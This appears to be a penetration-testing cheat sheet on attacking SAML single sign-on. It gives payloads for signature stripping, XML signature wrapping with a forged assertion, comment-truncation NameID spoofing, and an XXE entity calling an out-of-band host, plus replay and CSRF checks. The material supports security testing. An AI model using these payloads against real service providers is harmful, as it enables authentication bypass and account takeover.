SAML
XML signed by an IdP. Everything interesting is in how the SP validates that signature.
Burp > SAML Raider (edit, re-sign, strip signatures)Assertions are base64 + often deflate. Decode before you read:
echo "$SAMLResponse" | base64 -d | python3 -c "import sys,zlib;print(zlib.decompress(sys.stdin.buffer.read(),-15).decode())"Signature stripping
The cheapest test. Remove <ds:Signature> entirely and replay.
Many SPs only verify a signature if one is present.
XML Signature Wrapping
The classic. The signature stays valid over the original assertion, but the parser reads a different one. The signature-verification code and the assertion-consuming code resolve the reference differently.
<Response>
<Assertion ID="evil">
<Subject><NameID>[email protected]</NameID></Subject> <!-- read -->
</Assertion>
<Assertion ID="orig"> <!-- verified -->
<ds:Signature>...valid...</ds:Signature>
<Subject><NameID>[email protected]</NameID></Subject>
</Assertion>
</Response>Variants: wrap the original inside <Extensions>, <Object>, or a second <Response>; duplicate IDs; move the signed node into a comment-adjacent position.
SAML Raider automates the eight standard wrapping layouts. Run them all.
Comment truncation
XMLTextNodeParser implementations return only the first text node. A comment splits the NameID and the SP sees the shorter half.
<NameID>[email protected]<!--x-->.evil.tld</NameID>Register [email protected] at the IdP, and the SP reads [email protected].
XXE
The response is XML the server parses. See XXE.
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://oob.tld/">]>Other checks
- Is
Destination/Recipientvalidated? Replay the assertion at a different SP. - Is
NotOnOrAfterenforced? Replay an old assertion. - Is
InResponseTobound to the request? If not, it is login CSRF. - Is the IdP certificate pinned, or does the SP trust any cert in the metadata?
- Can you upload SP metadata pointing at your own IdP?
- Injection into
NameID: it lands in SQL, LDAP and templates downstream.